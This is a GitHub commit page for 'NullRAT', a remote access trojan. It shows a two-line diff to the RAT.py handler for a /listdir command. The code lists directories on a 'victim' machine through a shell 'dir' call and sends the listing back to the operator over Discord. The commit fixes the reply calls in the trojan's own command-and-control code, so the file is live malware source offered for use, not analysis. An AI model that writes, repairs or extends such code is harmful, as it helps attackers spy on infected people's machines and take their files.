Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 2c56c6d

Browse files
authored
Fix /listdir command
1 parent fbe7989 commit 2c56c6d

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

NullRAT/RAT.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -284,13 +284,13 @@ async def listdir(ctx, victim, directory_to_find="null"):
284284
subprocess.run(f'dir > "{nr_working}\\dir.txt"', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
285285
else:
286286
try: os.chdir(directory_to_find)
287-
except: return await ctx.send(embed=Embed(title="Invalid directory! Please try again :)"))
287+
except: return await ctx.followup.send(embed=Embed(title="Invalid directory! Please try again :)"))
288288
subprocess.run(f'dir > "{nr_working}\\dir.txt"', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
289289

290290
file = discord.File(
291291
os.path.join(nr_working + "\\dir.txt"), filename="Directory.txt"
292292
)
293-
await ctx.response.send_message("Contents of dir " + directory_to_find + " are:", file=file)
293+
await ctx.followup.send("Contents of dir " + directory_to_find + " are:", file=file)
294294
os.remove(nr_working + "\\dir.txt")
295295
os.chdir(original_dir)
296296

0 commit comments

Comments
 (0)